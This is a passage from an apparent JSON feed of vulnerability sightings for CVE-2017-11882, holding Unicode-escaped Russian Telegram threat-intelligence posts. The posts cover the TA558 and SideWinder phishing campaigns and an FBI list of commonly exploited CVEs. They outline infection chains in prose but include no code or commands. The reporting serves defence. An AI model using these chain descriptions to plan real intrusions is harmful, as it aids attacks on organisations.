\u043a\u0430\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439, \u043d\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e. \u041e\u043d\u0438 \u0442\u0443\u0442 \u0436\u0435 \u043f\u0435\u0440\u0435\u0434\u0435\u043b\u0430\u043b\u0438 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0442\u0430\u043a, \u0447\u0442\u043e \u043e\u043d \u0441\u043d\u043e\u0432\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043c\u043d\u043e\u0433\u0438\u043c\u0438 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c\u0438 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c\u0438. \u0422\u0430\u043a\u0438\u0435 \u0432\u043e\u0442 \u043a\u043e\u0448\u043a\u0438-\u043c\u044b\u0448\u043a\u0438. https://www.group-ib.ru/blog/antivirus\n\u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u043d\u0430\u0448\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 TDS Polygon \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u0430\u0442\u0430\u043a\u0443 \u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a CERT Group-IB \u043e\u043f\u043e\u0432\u0435\u0441\u0442\u0438\u043b \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u043e\u0431 \u0443\u0433\u0440\u043e\u0437\u0435.  \n\n#CVE-2017-11882 #Cobalt #\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u044b\u043d\u0435\u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442", "creation_timestamp": "2017-11-24T09:21:55.000000Z"}, {"uuid": "305b8b98-49ad-4941-be24-44a6004a1672", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/F_A_C_C_T/3507", "content": "\u0413\u0440\u0443\u043f\u043f\u0430 TA558 \u0441\u043d\u043e\u0432\u0430 \u0430\u0442\u0430\u043a\u043e\u0432\u0430\u043b\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u2600 27 \u044f\u043d\u0432\u0430\u0440\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0437 TA558 \u043f\u0440\u043e\u0432\u0435\u043b\u0438 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u0443\u044e \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u0443\u044e \u0430\u0442\u0430\u043a\u0443, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u0443\u044e \u043d\u0430 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 \u0438 \u0431\u0435\u043b\u043e\u0440\u0443\u0441\u0441\u043a\u0438\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0438\u0437 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e\u0439, \u043b\u043e\u0433\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439, \u0441\u0442\u0440\u043e\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439, \u0442\u0443\u0440\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0438 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u0444\u0435\u0440\u044b. \u0412\u0441\u0435\u0433\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u0434\u0435\u043d\u044c, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0432 F.A.C.C.T., \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430 \u0440\u0430\u0437\u043e\u0441\u043b\u0430\u043b\u0438 \u043f\u0438\u0441\u044c\u043c\u0430 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c 76 \u0442\u044b\u0441. \u0446\u0435\u043b\u044f\u043c \u0438\u0437 112 \u0441\u0442\u0440\u0430\u043d \u043c\u0438\u0440\u0430.\n\n\u2600 \u041f\u0438\u0441\u044c\u043c\u0430 \u043e\u0442 TA558 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0449\u0435\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0449\u0435\u0435 RTF-\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 HTA-\u0444\u0430\u0439\u043b\u0430 \u0441\u043e \u0441\u043a\u0440\u044b\u0442\u044b\u043c \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c VBS-\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0435\u043c. \u041f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435 \u0436\u0435\u0440\u0442\u0432\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Remcos RAT \u2014 \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e \u0436\u0435\u0440\u0442\u0432\u044b.\n\n\u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0422\u0410558 \u0430\u043a\u0442\u0438\u0432\u043d\u0430 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0441 2018 \u0433. \u0412 2024 \u0433. \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 F.A.C.C.T. Threat Intelligence \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0431\u043e\u043b\u0435\u0435 \u0442\u044b\u0441\u044f\u0447\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0440\u0430\u0441\u0441\u044b\u043b\u043e\u043a \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u041f\u041e, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u044f, \u0433\u043e\u0441\u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0438 \u0431\u0430\u043d\u043a\u0438 \u0432 \u0420\u043e\u0441\u0441\u0438\u0438 \u0438 \u0411\u0435\u043b\u0430\u0440\u0443\u0441\u0438. \u0426\u0435\u043b\u044c \u0430\u0442\u0430\u043a \u2014 \u043a\u0440\u0430\u0436\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u0413\u0440\u0443\u043f\u043f\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e\u044d\u0442\u0430\u043f\u043d\u044b\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0438 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0435\u0442\u043e\u0434\u044b \u0441\u043e\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u0438\u0438. \u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u0447\u0442\u043e \u043e\u0431 \u0430\u0442\u0430\u043a\u0430\u0445 TA558 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b F.A.C.C.T. \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438 \u043b\u0435\u0442\u043e\u043c 2024. \n\n#ThreatIntelligence #ThreatHunting #TA558\n\n\ud83e\udd2d  F.A.C.C.T. \u0411\u043e\u0440\u044c\u0431\u0430 \u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0441\u0442\u044c\u044e", "creation_timestamp": "2025-02-10T10:44:37.000000Z"}, {"uuid": "06e94136-26d4-4769-acb0-89d12302149b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "seen", "source": "https://t.me/Russian_OSINT/875", "content": "\u200b\u200b\ud83d\ude94 \u0424\u0411\u0420 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u0441\u043f\u0438\u0441\u043e\u043a 30 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 2 \u0433\u043e\u0434\u0430\n\nCVE-2021-26855: It is a Microsoft Exchange Server Remote Code Execution\nCVE-2021-26857: It is a Microsoft Exchange Server Remote Code Execution\nCVE-2021-26858: It is a Microsoft Exchange Server Remote Code Execution\nCVE-2021-27065: It is a Microsoft Exchange Server Remote Code Execution\nCVE-2021-22893: It is an Improper Authentication vulnerability that is marked as critical\nCVE-2021-22894: It is a buffer overflow vulnerability that enables an attacker to execute arbitrary code\nCVE-2021-22899: It is a command injection vulnerability that enables an attacker to execute remote code\nCVE-2021-22900: It is an Improper Control of Generation of Code vulnerability\nCVE-2021-27101: It is an Improper Neutralization of Special Elements used in an SQL Command\nCVE-2021-27102: It is an Improper Neutralization of Special Elements used in an OS Command\nCVE-2021-27103: It is a Server-Side Request Forgery (SSRF) vulnerability\nCVE-2021-27104: It is an Improper Neutralization of Special Elements used in an OS Command vulnerability\nCVE-2021-21985: It is an Improper Input Validation vulnerability\nCVE-2018-13379: It is an Improper Limitation of a Pathname to a Restricted Directory (\u2018Path Traversal\u2019)\nCVE-2020-12812: It is an Improper Authentication vulnerability\nCVE-2019-5591: It is a Missing Authentication for Critical Function vulnerability\nCVE-2019-19781: It is an Improper Limitation of a Pathname to a Restricted Directory \nCVE 2019-11510: It is an Improper Limitation of a Pathname to a Restricted Directory\nCVE 2018-13379: It is an Improper Limitation of a Pathname to a Restricted Directory \nCVE 2020-5902: It is an Inclusion of Functionality from Untrusted Control Sphere and Improper Limitation of a Pathname to a Restricted Directory vulnerability \nCVE 2020-15505: It is an Insufficient Information vulnerability\nCVE-2017-11882: It is a Microsoft Office Memory Corruption vulnerability that enables an attacker to execute arbitrary code.\nCVE-2019-11580: It is an Insufficient Information vulnerability\nCVE-2018-7600: It is an Improper Input Validation vulnerability\nCVE 2019-18935: It is a Deserialization of Untrusted Data vulnerability\nCVE-2019-0604: It is a Microsoft SharePoint Remote Code Execution Vulnerability\nCVE-2020-0787: It is a Windows Background Intelligent Transfer Service Elevation of Privilege vulnerability\nCVE-2020-1472: It is a Netlogon Elevation of Privilege vulnerability \nCVE-2020-15505: It is an Insufficient Information vulnerability\nCVE-2020-0688: It is a Use of Hard-coded Credentials vulnerability", "creation_timestamp": "2021-07-29T17:59:02.000000Z"}, {"uuid": "021080f7-29ca-4ee5-bc59-78068cfe7a40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-11882", "type": "exploited", "source": "https://t.me/S_E_Reborn/4980", "content": "Blackberry \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043d\u043e\u0432\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 TTPs SideWinder, \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u043e\u0439 \u00a0\u043d\u0430 \u043f\u043e\u0440\u0442\u044b \u0438 \u043c\u043e\u0440\u0441\u043a\u0438\u0435 \u0441\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0432 \u0418\u043d\u0434\u0438\u0439\u0441\u043a\u043e\u043c \u043e\u043a\u0435\u0430\u043d\u0435 \u0438 \u0421\u0440\u0435\u0434\u0438\u0437\u0435\u043c\u043d\u043e\u043c \u043c\u043e\u0440\u0435.\n\n\u0418\u043d\u0434\u0438\u0439\u0441\u043a\u0430\u044f SideWinder APT (Razor Tiger, Rattlesnake \u0438 T-APT-04) \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 \u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0441 2012 \u0438 \u0440\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0430 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 \u0432 \u043d\u0430\u043f\u0430\u0434\u0435\u043d\u0438\u044f\u0445 \u043d\u0430 \u0432\u043e\u0435\u043d\u043d\u044b\u0435, \u043f\u0440\u0430\u0432\u0438\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 \u0438 \u043a\u043e\u043c\u043c\u0435\u0440\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d\u0430, \u0410\u0444\u0433\u0430\u043d\u0438\u0441\u0442\u0430\u043d\u0430, \u041a\u0438\u0442\u0430\u044f \u0438 \u041d\u0435\u043f\u0430\u043b\u0430.\n\n\u0414\u043e\u043c\u0435\u043d\u044b \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0435 \u0441 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u043e\u0439 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u044e\u0442 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 \u043d\u0430 \u041f\u0430\u043a\u0438\u0441\u0442\u0430\u043d, \u0415\u0433\u0438\u043f\u0435\u0442 \u0438 \u0428\u0440\u0438-\u041b\u0430\u043d\u043a\u0443.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0443\u0431\u0434\u043e\u043c\u0435\u043d\u044b \u0432\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u0442\u0430\u043f\u0430, \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0430\u0440\u0433\u0435\u0442\u0438\u043d\u0433 \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0411\u0430\u043d\u0433\u043b\u0430\u0434\u0435\u0448, \u041c\u044c\u044f\u043d\u043c\u044b, \u041d\u0435\u043f\u0430\u043b\u0430 \u0438 \u041c\u0430\u043b\u044c\u0434\u0438\u0432.\n\n\u041e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0438\u0445 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f\u0445, \u0446\u0435\u043b\u044c\u044e \u044d\u0442\u043e\u0439 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 SideWinder, \u043f\u043e \u0432\u0441\u0435\u0439 \u0432\u0438\u0434\u0438\u043c\u043e\u0441\u0442\u0438, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0448\u043f\u0438\u043e\u043d\u0430\u0436 \u0438 \u0441\u0431\u043e\u0440 \u0440\u0430\u0437\u0432\u0435\u0434\u044b\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.\n\nSideWinder \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u043e\u043d\u043d\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u043c\u0435\u0442\u043e\u0434\u044b \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u0444\u0438\u0448\u0438\u043d\u0433\u0430 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u0431\u043e\u043a\u043e\u0432\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 DLL, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u044b.\n\n\u041e\u0431\u044b\u0447\u043d\u043e \u0436\u0435\u0440\u0442\u0432\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u043d\u044b\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435\u043c \u043d\u0430 VirusTotal \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u0446\u0435\u043f\u043e\u0447\u043a\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0447\u0435\u043d\u044c \u0442\u0449\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0434\u0430\u0442\u044c \u0435\u0433\u043e \u0437\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438, \u0443\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0446\u0435\u043b\u0438.\n\n\u0412 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439 \u043f\u043e\u0440\u0442\u0430 \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440\u0438\u044f \u0432 \u0421\u0440\u0435\u0434\u0438\u0437\u0435\u043c\u043d\u043e\u043c \u043c\u043e\u0440\u0435, \u0442\u0430\u043a\u0436\u0435 \u041f\u043e\u0440\u0442\u043e\u0432\u043e\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u041a\u0440\u0430\u0441\u043d\u043e\u043c \u043c\u043e\u0440\u0435.\n\n\u0412\u0441\u0435 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043d\u044b\u0435 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0448\u0430\u0431\u043b\u043e\u043d\u0430 (CVE-2017-0199) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0446\u0435\u043b\u0438.\n\n\u0422\u0435\u043b\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432 \u0432\u0438\u0434\u0435 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0433\u043e \u043f\u0438\u0441\u044c\u043c\u0430, \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 URL \u0432 \u0432\u0438\u0434\u0435 \u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0435\u0442 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0430\u0439\u0442, \u043e\u0442\u043a\u0443\u0434\u0430 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430.\n\n\u0414\u0430\u043b\u0435\u0435 \u0444\u0430\u0439\u043b \u0432 \u0444\u043e\u0440\u043c\u0430\u0442\u0435 RTF \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2017-11882. \u041e\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0444\u0430\u0439\u043b\u0430.\n\n\u041f\u0440\u0438\u0447\u0435\u043c \u0432\u00a0\u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 SideWinder\u00a0\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u041f\u041e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430 JavaScript, \u0441\u043a\u0440\u044b\u0442\u044b\u0439 \u0432 \u0444\u0430\u0439\u043b\u0435 RTF.\n\n\u0426\u0435\u043b\u044c\u044e \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0436\u0435\u0440\u0442\u0432\u044b, \u0447\u0442\u043e\u0431\u044b \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043b\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439, \u0430 \u043d\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u043e\u0439.\n\n\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043a\u043e\u0434 JavaScript, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0433\u0440\u0443\u0437\u0438\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u044d\u0442\u0430\u043f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430 - \u0442\u0430\u043a\u0436\u0435 \u043a\u043e\u0434\u043e\u043c JavaScript (\u043d\u043e \u0437\u0430\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0431\u0440\u0430\u0437\u0446\u044b \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u044d\u0442\u0430\u043f\u0430 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c).\n\n\u041f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u04212 \u0441 \u0433\u0435\u043e\u0442\u0430\u0440\u0433\u0435\u0442\u0438\u0440\u0432\u043e\u0430\u043d\u0438\u0435\u043c, \u0430 